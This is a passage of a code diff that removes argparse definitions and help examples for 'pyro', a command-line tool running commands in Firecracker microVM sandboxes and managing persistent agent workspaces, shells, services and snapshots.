default="workspace-core", - help=( - "Expose one generic model-facing tool profile instead of a named mode. " - "`workspace-core` is the generic default and `workspace-full` is the " - "larger opt-in profile." - ), - ) - mcp_profile_group.add_argument( - "--mode", - choices=PUBLIC_MCP_MODES, - help="Expose one opinionated use-case mode instead of the generic profile path.", - ) - mcp_source_group = mcp_serve_parser.add_mutually_exclusive_group() - mcp_source_group.add_argument( - "--project-path", - help=( - "Seed default workspaces from this local project path. If the path " - "is inside a Git checkout, pyro uses that repo root." - ), - ) - mcp_source_group.add_argument( - "--repo-url", - help=( - "Seed default workspaces from a clean host-side clone of this repo URL " - "when `workspace_create` omits `seed_path`." - ), - ) - mcp_serve_parser.add_argument( - "--repo-ref", - help="Optional branch, tag, or commit to checkout after cloning --repo-url.", - ) - mcp_serve_parser.add_argument( - "--no-project-source", - action="store_true", - help=("Disable automatic Git checkout detection from the current working directory."), - ) - - run_parser = subparsers.add_parser( - "run", - help="Run one command inside an ephemeral VM.", - description="Run one non-interactive command in a temporary Firecracker microVM.", - epilog=dedent( - """ - Examples: - pyro run debian:12 -- git --version - pyro run debian:12 --network -- python3 -c "import urllib.request as u; print(u.urlopen('https://example.com').status)" - - The guest command output and the [run] summary are written to different - streams, so they may appear in either order. Use --json for a deterministic - structured result. - """ - ), - formatter_class=_HelpFormatter, - ) - run_parser.add_argument( - "environment", - metavar="ENVIRONMENT", - help="Curated environment to boot, for example `debian:12`.", - ) - run_parser.add_argument( - "--vcpu-count", - type=int, - default=DEFAULT_VCPU_COUNT, - help="Number of virtual CPUs to allocate to the guest.", - ) - run_parser.add_argument( - "--mem-mib", - type=int, - default=DEFAULT_MEM_MIB, - help="Guest memory allocation in MiB.", - ) - run_parser.add_argument( - "--timeout-seconds", - type=int, - default=30, - help="Maximum time allowed for the guest command.", - ) - run_parser.add_argument( - "--ttl-seconds", - type=int, - default=600, - help="Time-to-live for temporary VM artifacts before cleanup.", - ) - run_parser.add_argument( - "--network", - action="store_true", - help="Enable outbound guest networking. Requires TAP/NAT privileges on the host.", - ) - run_parser.add_argument( - "--allow-host-compat", - action="store_true", - help=( - "Opt into host-side compatibility execution if guest boot or guest exec is unavailable." - ), - ) - run_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - run_parser.add_argument( - "command_args", - nargs="*", - metavar="ARG", - help=( - "Command and arguments to run inside the guest. Prefix them with `--`, " - "for example `pyro run debian:12 -- git --version`." - ), - ) - - workspace_parser = subparsers.add_parser( - "workspace", - help="Manage persistent workspaces.", - description=( - "Use the workspace model when you need one sandbox to stay alive " - "across repeated exec, shell, service, diff, export, snapshot, and reset calls." - ), - epilog=dedent( - """ - Examples: - pyro workspace create debian:12 --seed-path ./repo --id-only - pyro workspace create debian:12 --name repro-fix --label issue=123 - pyro workspace list - pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex - pyro workspace sync push WORKSPACE_ID ./repo --dest src - pyro workspace file read WORKSPACE_ID src/app.py - pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch - pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' - pyro workspace stop WORKSPACE_ID - pyro workspace disk list WORKSPACE_ID - pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 - pyro workspace start WORKSPACE_ID - pyro workspace snapshot create WORKSPACE_ID checkpoint - pyro workspace reset WORKSPACE_ID --snapshot checkpoint - pyro workspace summary WORKSPACE_ID - pyro workspace diff WORKSPACE_ID - pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt - pyro workspace shell open WORKSPACE_ID --id-only - pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - pyro workspace logs WORKSPACE_ID - - `pyro run` remains the fastest one-shot proof. `pyro workspace ...` is the - stable path when an agent needs to inhabit one sandbox over time. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_subparsers = workspace_parser.add_subparsers( - dest="workspace_command", - required=True, - metavar="WORKSPACE", - ) - workspace_create_parser = workspace_subparsers.add_parser( - "create", - help="Create and start a persistent workspace.", - description=( - "Create and start a stable persistent workspace that stays alive across repeated " - "exec, shell, service, diff, export, snapshot, and reset calls." - ), - epilog=dedent( - """ - Examples: - pyro workspace create debian:12 --id-only - pyro workspace create debian:12 --seed-path ./repo --id-only - pyro workspace create debian:12 --name repro-fix --label issue=123 - pyro workspace create debian:12 --network-policy egress - pyro workspace create debian:12 --secret API_TOKEN=expected - pyro workspace list - pyro workspace update WORKSPACE_ID --label owner=codex - pyro workspace sync push WORKSPACE_ID ./changes - pyro workspace snapshot create WORKSPACE_ID checkpoint - pyro workspace reset WORKSPACE_ID --snapshot checkpoint - pyro workspace diff WORKSPACE_ID - pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_create_parser.add_argument( - "environment", - metavar="ENVIRONMENT", - help="Curated environment to boot, for example `debian:12`.", - ) - workspace_create_parser.add_argument( - "--vcpu-count", - type=int, - default=DEFAULT_VCPU_COUNT, - help="Number of virtual CPUs to allocate to the guest.", - ) - workspace_create_parser.add_argument( - "--mem-mib", - type=int, - default=DEFAULT_MEM_MIB, - help="Guest memory allocation in MiB.", - ) - workspace_create_parser.add_argument( - "--ttl-seconds", - type=int, - default=600, - help="Time-to-live for the workspace before automatic cleanup.", - ) - workspace_create_parser.add_argument( - "--network-policy", - choices=("off", "egress", "egress+published-ports"), - default="off", - help="Workspace network policy.", - ) - workspace_create_parser.add_argument( - "--allow-host-compat", - action="store_true", - help=( - "Opt into host-side compatibility execution if guest boot or guest exec is unavailable." - ), - ) - workspace_create_parser.add_argument( - "--seed-path", - help=( - "Optional host directory or .tar/.tar.gz/.tgz archive to seed into `/workspace` " - "before the workspace is returned." - ), - ) - workspace_create_parser.add_argument( - "--name", - help="Optional human-friendly workspace name.", - ) - workspace_create_parser.add_argument( - "--label", - action="append", - default=[], - metavar="KEY=VALUE", - help="Attach one discovery label to the workspace. May be repeated.", - ) - workspace_create_parser.add_argument( - "--secret", - action="append", - default=[], - metavar="NAME=VALUE", - help="Persist one literal UTF-8 secret for this workspace.", - ) - workspace_create_parser.add_argument( - "--secret-file", - action="append", - default=[], - metavar="NAME=PATH", - help="Persist one UTF-8 secret copied from a host file at create time.", - ) - workspace_create_output_group = workspace_create_parser.add_mutually_exclusive_group() - workspace_create_output_group.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_create_output_group.add_argument( - "--id-only", - action="store_true", - help="Print only the new workspace identifier.", - ) - workspace_exec_parser = workspace_subparsers.add_parser( - "exec", - help="Run one command inside an existing workspace.", - description=( - "Run one non-interactive command in the persistent `/workspace` for a workspace." - ), - epilog=dedent( - """ - Examples: - pyro workspace exec WORKSPACE_ID -- cat note.txt - pyro workspace exec WORKSPACE_ID --secret-env API_TOKEN -- \ - sh -lc 'test \"$API_TOKEN\" = \"expected\"' - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_exec_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_exec_parser.add_argument( - "--timeout-seconds", - type=int, - default=30, - help="Maximum time allowed for the workspace command.", - ) - workspace_exec_parser.add_argument( - "--secret-env", - action="append", - default=[], - metavar="SECRET[=ENV_VAR]", - help="Expose one persisted workspace secret as an environment variable for this exec.", - ) - workspace_exec_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_exec_parser.add_argument( - "command_args", - nargs="*", - metavar="ARG", - help=( - "Command and arguments to run inside the workspace. Prefix them with `--`, " - "for example `pyro workspace exec WORKSPACE_ID -- cat note.txt`." - ), - ) - workspace_sync_parser = workspace_subparsers.add_parser( - "sync", - help="Push host content into a started workspace.", - description=( - "Push host directory or archive content into `/workspace` for an existing " - "started workspace." - ), - epilog=dedent( - """ - Examples: - pyro workspace sync push WORKSPACE_ID ./repo - pyro workspace sync push WORKSPACE_ID ./patches --dest src - - Sync is non-atomic. If a sync fails partway through, prefer reset over repair with - `pyro workspace reset WORKSPACE_ID`. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_sync_subparsers = workspace_sync_parser.add_subparsers( - dest="workspace_sync_command", - required=True, - metavar="SYNC", - ) - workspace_sync_push_parser = workspace_sync_subparsers.add_parser( - "push", - help="Push one host directory or archive into a started workspace.", - description="Import host content into `/workspace` or a subdirectory of it.", - epilog="Example:\n pyro workspace sync push WORKSPACE_ID ./repo --dest src", - formatter_class=_HelpFormatter, - ) - workspace_sync_push_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_sync_push_parser.add_argument( - "source_path", - metavar="SOURCE_PATH", - help="Host directory or .tar/.tar.gz/.tgz archive to push into the workspace.", - ) - workspace_sync_push_parser.add_argument( - "--dest", - default=WORKSPACE_GUEST_PATH, - help="Workspace destination path. Relative values resolve inside `/workspace`.", - ) - workspace_sync_push_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_export_parser = workspace_subparsers.add_parser( - "export", - help="Export one workspace path to the host.", - description="Export one file or directory from `/workspace` to an explicit host path.", - epilog="Example:\n pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt", - formatter_class=_HelpFormatter, - ) - workspace_export_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_export_parser.add_argument( - "path", - metavar="PATH", - help="Workspace path to export. Relative values resolve inside `/workspace`.", - ) - workspace_export_parser.add_argument( - "--output", - required=True, - help="Exact host path to create for the exported file or directory.", - ) - workspace_export_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_diff_parser = workspace_subparsers.add_parser( - "diff", - help="Diff `/workspace` against the create-time baseline.", - description="Compare the current `/workspace` tree to the immutable workspace baseline.", - epilog=dedent( - """ - Example: - pyro workspace diff WORKSPACE_ID - - Use `workspace export` to copy a changed file or directory back to the host. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_diff_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_diff_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_file_parser = workspace_subparsers.add_parser( - "file", - help="List, read, and write workspace files without shell quoting.", - description=( - "Use workspace file operations for model-native tree inspection and text edits " - "inside one started workspace." - ), - epilog=dedent( - """ - Examples: - pyro workspace file list WORKSPACE_ID - pyro workspace file read WORKSPACE_ID src/app.py - pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_file_subparsers = workspace_file_parser.add_subparsers( - dest="workspace_file_command", - required=True, - metavar="FILE", - ) - workspace_file_list_parser = workspace_file_subparsers.add_parser( - "list", - help="List metadata for one live workspace path.", - description="List files, directories, and symlinks under one started workspace path.", - epilog="Example:\n pyro workspace file list WORKSPACE_ID src --recursive", - formatter_class=_HelpFormatter, - ) - workspace_file_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_file_list_parser.add_argument( - "path", - nargs="?", - default=WORKSPACE_GUEST_PATH, - metavar="PATH", - help="Workspace path to inspect. Relative values resolve inside `/workspace`.", - ) - workspace_file_list_parser.add_argument( - "--recursive", - action="store_true", - help="Walk directories recursively.", - ) - workspace_file_list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_file_read_parser = workspace_file_subparsers.add_parser( - "read", - help="Read one regular text file from a started workspace.", - description=( - "Read one regular text file under `/workspace`. This is bounded and does not " - "follow symlinks." - ), - epilog=dedent( - """ - Examples: - pyro workspace file read WORKSPACE_ID src/app.py - pyro workspace file read WORKSPACE_ID src/app.py --content-only - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_file_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_file_read_parser.add_argument("path", metavar="PATH") - workspace_file_read_parser.add_argument( - "--max-bytes", - type=int, - default=DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES, - help="Maximum number of bytes to return in the decoded text response.", - ) - workspace_file_read_output_group = workspace_file_read_parser.add_mutually_exclusive_group() - workspace_file_read_output_group.add_argument( - "--content-only", - action="store_true", - help="Print only the decoded file content with no human summary footer.", - ) - workspace_file_read_output_group.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_file_write_parser = workspace_file_subparsers.add_parser( - "write", - help="Create or replace one regular text file in a started workspace.", - description=( - "Write one UTF-8 text file under `/workspace`. Missing parent directories are " - "created automatically." - ), - epilog=( - "Example:\n pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py" - ), - formatter_class=_HelpFormatter, - ) - workspace_file_write_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_file_write_parser.add_argument("path", metavar="PATH") - workspace_file_write_input_group = workspace_file_write_parser.add_mutually_exclusive_group( - required=True - ) - workspace_file_write_input_group.add_argument( - "--text", - help="UTF-8 text content to write into the target file.", - ) - workspace_file_write_input_group.add_argument( - "--text-file", - metavar="PATH", - help="Read UTF-8 text content from a host file.", - ) - workspace_file_write_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_patch_parser = workspace_subparsers.add_parser( - "patch", - help="Apply unified text patches inside a started workspace.", - description=( - "Apply add/modify/delete unified text patches under `/workspace` without shell " - "editing tricks." - ), - epilog=dedent( - """ - Example: - pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch - - Patch application is preflighted but not fully transactional. If an apply fails - partway through, prefer `pyro workspace reset WORKSPACE_ID`. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_patch_subparsers = workspace_patch_parser.add_subparsers( - dest="workspace_patch_command", - required=True, - metavar="PATCH", - ) - workspace_patch_apply_parser = workspace_patch_subparsers.add_parser( - "apply", - help="Apply one unified text patch to a started workspace.", - description=( - "Apply one unified text patch for add, modify, and delete operations under " - "`/workspace`." - ), - epilog="Example:\n pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch", - formatter_class=_HelpFormatter, - ) - workspace_patch_apply_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_patch_input_group = workspace_patch_apply_parser.add_mutually_exclusive_group( - required=True - ) - workspace_patch_input_group.add_argument( - "--patch", - help="Unified text patch to apply under `/workspace`.", - ) - workspace_patch_input_group.add_argument( - "--patch-file", - metavar="PATH", - help="Read a unified text patch from a UTF-8 host file.", - ) - workspace_patch_apply_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_snapshot_parser = workspace_subparsers.add_parser( - "snapshot", - help="Create, list, and delete workspace snapshots.", - description=( - "Manage explicit named snapshots in addition to the implicit create-time baseline." - ), - epilog=dedent( - """ - Examples: - pyro workspace snapshot create WORKSPACE_ID checkpoint - pyro workspace snapshot list WORKSPACE_ID - pyro workspace snapshot delete WORKSPACE_ID checkpoint - - Use `workspace reset` to restore `/workspace` from `baseline` or one named snapshot. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_snapshot_subparsers = workspace_snapshot_parser.add_subparsers( - dest="workspace_snapshot_command", - required=True, - metavar="SNAPSHOT", - ) - workspace_snapshot_create_parser = workspace_snapshot_subparsers.add_parser( - "create", - help="Create one named snapshot from the current workspace.", - description="Capture the current `/workspace` tree as one named snapshot.", - epilog="Example:\n pyro workspace snapshot create WORKSPACE_ID checkpoint", - formatter_class=_HelpFormatter, - ) - workspace_snapshot_create_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_snapshot_create_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") - workspace_snapshot_create_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_snapshot_list_parser = workspace_snapshot_subparsers.add_parser( - "list", - help="List the baseline plus named snapshots.", - description="List the implicit baseline snapshot plus any named snapshots for a workspace.", - epilog="Example:\n pyro workspace snapshot list WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_snapshot_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_snapshot_list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_snapshot_delete_parser = workspace_snapshot_subparsers.add_parser( - "delete", - help="Delete one named snapshot.", - description="Delete one named snapshot while leaving the implicit baseline intact.", - epilog="Example:\n pyro workspace snapshot delete WORKSPACE_ID checkpoint", - formatter_class=_HelpFormatter, - ) - workspace_snapshot_delete_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_snapshot_delete_parser.add_argument("snapshot_name", metavar="SNAPSHOT_NAME") - workspace_snapshot_delete_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_reset_parser = workspace_subparsers.add_parser( - "reset", - help="Recreate a workspace from baseline or one named snapshot.", - description=( - "Recreate the full sandbox and restore `/workspace` from the baseline " - "or one named snapshot." - ), - epilog=dedent( - """ - Examples: - pyro workspace reset WORKSPACE_ID - pyro workspace reset WORKSPACE_ID --snapshot checkpoint - - Prefer reset over repair: reset clears command history, shells, and services so the - workspace comes back clean from `baseline` or one named snapshot. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_reset_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_reset_parser.add_argument( - "--snapshot", - default="baseline", - help="Snapshot name to restore. Defaults to the implicit `baseline` snapshot.", - ) - workspace_reset_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_stop_parser = workspace_subparsers.add_parser( - "stop", - help="Stop one workspace without resetting it.", - description=( - "Stop the backing sandbox, close shells, stop services, and preserve the " - "workspace filesystem, history, and snapshots." - ), - epilog="Example:\n pyro workspace stop WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_stop_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_stop_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_start_parser = workspace_subparsers.add_parser( - "start", - help="Start one stopped workspace without resetting it.", - description=( - "Start a previously stopped workspace from its preserved rootfs and workspace state." - ), - epilog="Example:\n pyro workspace start WORKSPACE_ID", - formatter_class=_HelpFormatter, - ) - workspace_start_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_start_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_disk_parser = workspace_subparsers.add_parser( - "disk", - help="Inspect or export a stopped workspace disk.", - description=( - "Use secondary stopped-workspace disk tools for raw ext4 export and offline " - "inspection without booting the guest." - ), - epilog=dedent( - """ - Examples: - pyro workspace stop WORKSPACE_ID - pyro workspace disk list WORKSPACE_ID - pyro workspace disk read WORKSPACE_ID note.txt - pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 - - Disk tools are secondary to `workspace export` and require a stopped, guest-backed - workspace. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_disk_subparsers = workspace_disk_parser.add_subparsers( - dest="workspace_disk_command", - required=True, - metavar="DISK", - ) - workspace_disk_export_parser = workspace_disk_subparsers.add_parser( - "export", - help="Export the raw stopped workspace rootfs image.", - description="Copy the raw stopped workspace rootfs ext4 image to an explicit host path.", - epilog="Example:\n pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4", - formatter_class=_HelpFormatter, - ) - workspace_disk_export_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_disk_export_parser.add_argument( - "--output", - required=True, - help="Exact host path to create for the exported raw ext4 image.", - ) - workspace_disk_export_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_disk_list_parser = workspace_disk_subparsers.add_parser( - "list", - help="List files from a stopped workspace rootfs path.", - description=( - "Inspect one stopped workspace rootfs path without booting the guest. Relative " - "paths resolve inside `/workspace`; absolute paths inspect any guest path." - ), - epilog="Example:\n pyro workspace disk list WORKSPACE_ID src --recursive", - formatter_class=_HelpFormatter, - ) - workspace_disk_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_disk_list_parser.add_argument( - "path", - nargs="?", - default=WORKSPACE_GUEST_PATH, - metavar="PATH", - help="Guest path to inspect. Defaults to `/workspace`.", - ) - workspace_disk_list_parser.add_argument( - "--recursive", - action="store_true", - help="Recurse into nested directories.", - ) - workspace_disk_list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_disk_read_parser = workspace_disk_subparsers.add_parser( - "read", - help="Read one regular file from a stopped workspace rootfs.", - description=( - "Read one regular file from a stopped workspace rootfs without booting the guest. " - "Relative paths resolve inside `/workspace`; absolute paths inspect any guest path." - ), - epilog=dedent( - """ - Examples: - pyro workspace disk read WORKSPACE_ID note.txt --max-bytes 4096 - pyro workspace disk read WORKSPACE_ID note.txt --content-only - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_disk_read_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_disk_read_parser.add_argument("path", metavar="PATH") - workspace_disk_read_parser.add_argument( - "--max-bytes", - type=int, - default=DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, - help="Maximum number of decoded UTF-8 bytes to return.", - ) - workspace_disk_read_output_group = workspace_disk_read_parser.add_mutually_exclusive_group() - workspace_disk_read_output_group.add_argument( - "--content-only", - action="store_true", - help="Print only the decoded file content with no human summary footer.", - ) - workspace_disk_read_output_group.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_shell_parser = workspace_subparsers.add_parser( - "shell", - help="Open and manage persistent interactive shells.", - description=( - "Open one or more persistent interactive PTY shell sessions inside a started workspace." - ), - epilog=dedent( - """ - Examples: - pyro workspace shell open WORKSPACE_ID --id-only - pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' - pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 - pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT - pyro workspace shell close WORKSPACE_ID SHELL_ID - - Use `workspace exec` for one-shot commands. Use `workspace shell` when you need - an interactive process that keeps its state between calls. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_shell_subparsers = workspace_shell_parser.add_subparsers( - dest="workspace_shell_command", - required=True, - metavar="SHELL", - ) - workspace_shell_open_parser = workspace_shell_subparsers.add_parser( - "open", - help="Open a persistent interactive shell.", - description="Open a new PTY shell inside a started workspace.", - epilog="Example:\n pyro workspace shell open WORKSPACE_ID --cwd src --id-only", - formatter_class=_HelpFormatter, - ) - workspace_shell_open_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_shell_open_parser.add_argument( - "--cwd", - default=WORKSPACE_GUEST_PATH, - help="Shell working directory. Relative values resolve inside `/workspace`.", - ) - workspace_shell_open_parser.add_argument( - "--cols", - type=int, - default=120, - help="Shell terminal width in columns.", - ) - workspace_shell_open_parser.add_argument( - "--rows", - type=int, - default=30, - help="Shell terminal height in rows.", - ) - workspace_shell_open_parser.add_argument( - "--secret-env", - action="append", - default=[], - metavar="SECRET[=ENV_VAR]", - help="Expose one persisted workspace secret as an environment variable in the shell.", - ) - workspace_shell_open_output_group = workspace_shell_open_parser.add_mutually_exclusive_group() - workspace_shell_open_output_group.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_shell_open_output_group.add_argument( - "--id-only", - action="store_true", - help="Print only the new shell identifier.", - ) - workspace_shell_read_parser = workspace_shell_subparsers.add_parser( - "read", - help="Read merged PTY output from a shell.", - description="Read merged text output from a persistent workspace shell.", - epilog=dedent( - """ - Example: - pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 - - Shell output is written to stdout. The read summary is written to stderr. - Use --plain for chat-friendly output and --json for a deterministic structured response. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_shell_read_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_shell_read_parser.add_argument( - "shell_id", - metavar="SHELL_ID", - help="Persistent shell identifier returned by `workspace shell open`.", - ) - workspace_shell_read_parser.add_argument( - "--cursor", - type=int, - default=0, - help="Character offset into the merged shell output buffer.", - ) - workspace_shell_read_parser.add_argument( - "--max-chars", - type=int, - default=65536, - help="Maximum number of characters to return from the current cursor position.", - ) - workspace_shell_read_parser.add_argument( - "--plain", - action="store_true", - help="Strip terminal control sequences and normalize shell output for chat consumption.", - ) - workspace_shell_read_parser.add_argument( - "--wait-for-idle-ms", - type=int, - default=None, - help="Wait for this many milliseconds of shell-idle time before returning output.", - ) - workspace_shell_read_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_shell_write_parser = workspace_shell_subparsers.add_parser( - "write", - help="Write text input into a shell.", - description="Write text input into a persistent workspace shell.", - epilog="Example:\n pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd'", - formatter_class=_HelpFormatter, - ) - workspace_shell_write_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_shell_write_parser.add_argument( - "shell_id", - metavar="SHELL_ID", - help="Persistent shell identifier returned by `workspace shell open`.", - ) - workspace_shell_write_parser.add_argument( - "--input", - required=True, - help="Text to send to the shell.", - ) - workspace_shell_write_parser.add_argument( - "--no-newline", - action="store_true", - help="Do not append a trailing newline after the provided input.", - ) - workspace_shell_write_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_shell_signal_parser = workspace_shell_subparsers.add_parser( - "signal", - help="Send a signal to a shell process group.", - description="Send a control signal to a persistent workspace shell.", - epilog="Example:\n pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT", - formatter_class=_HelpFormatter, - ) - workspace_shell_signal_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_shell_signal_parser.add_argument( - "shell_id", - metavar="SHELL_ID", - help="Persistent shell identifier returned by `workspace shell open`.", - ) - workspace_shell_signal_parser.add_argument( - "--signal", - default="INT", - choices=WORKSPACE_SHELL_SIGNAL_NAMES, - help="Signal name to send to the shell process group.", - ) - workspace_shell_signal_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_shell_close_parser = workspace_shell_subparsers.add_parser( - "close", - help="Close a persistent shell.", - description="Close a persistent workspace shell and release its PTY state.", - epilog="Example:\n pyro workspace shell close WORKSPACE_ID SHELL_ID", - formatter_class=_HelpFormatter, - ) - workspace_shell_close_parser.add_argument( - "workspace_id", - metavar="WORKSPACE_ID", - help="Persistent workspace identifier.", - ) - workspace_shell_close_parser.add_argument( - "shell_id", - metavar="SHELL_ID", - help="Persistent shell identifier returned by `workspace shell open`.", - ) - workspace_shell_close_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - workspace_service_parser = workspace_subparsers.add_parser( - "service", - help="Manage long-running services inside a workspace.", - description=( - "Start, inspect, and stop named long-running services inside one started workspace." - ), - epilog=dedent( - """ - Examples: - pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - pyro workspace service start WORKSPACE_ID app --ready-file .ready --publish 8080 -- \ - sh -lc 'touch .ready && python3 -m http.server 8080' - pyro workspace service list WORKSPACE_ID - pyro workspace service status WORKSPACE_ID app - pyro workspace service logs WORKSPACE_ID app --tail-lines 50 - pyro workspace service stop WORKSPACE_ID app - - Use `--ready-file` by default in the curated Debian environments. `--ready-command` - remains available when the workflow needs a custom readiness check. - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_service_subparsers = workspace_service_parser.add_subparsers( - dest="workspace_service_command", - required=True, - metavar="SERVICE", - ) - workspace_service_start_parser = workspace_service_subparsers.add_parser( - "start", - help="Start one named long-running service.", - description="Start a named service inside a started workspace with optional readiness.", - epilog=dedent( - """ - Examples: - pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - pyro workspace service start WORKSPACE_ID app \ - --ready-file .ready --publish 18080:8080 -- \ - sh -lc 'touch .ready && python3 -m http.server 8080' - pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN -- \ - sh -lc 'test \"$API_TOKEN\" = \"expected\"; touch .ready; \ -while true; do sleep 60; done' - pyro workspace service start WORKSPACE_ID app --ready-command 'test -f .ready' -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - """ - ), - formatter_class=_HelpFormatter, - ) - workspace_service_start_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") - workspace_service_start_parser.add_argument("service_name", metavar="SERVICE_NAME") - workspace_service_start_parser.add_argument( - "--cwd", - default=WORKSPACE_GUEST_PATH, - help="Service working directory. Relative values resolve inside `/workspace`.", - ) - workspace_service_start_parser.add_argument( - "--ready-file", - help="Mark the service ready once this workspace path exists.", - ) - workspace_service_start_parser.add_argument( - "--ready-tcp", - help="Mark the service ready once this HOST:PORT accepts guest-local TCP connections.", - ) - workspace_service_start_parser.add_argument( - "--ready-http", - help="Mark the service ready once this guest-local URL returns 2xx or 3xx.", - ) - workspace_service_start_parser.add_argument( - "--ready-command", - help="Escape hatch readiness probe command. Use typed readiness when possible.", - ) - workspace_service_start_parser.add_argument( - "--ready-timeout-seconds", - type=int, - 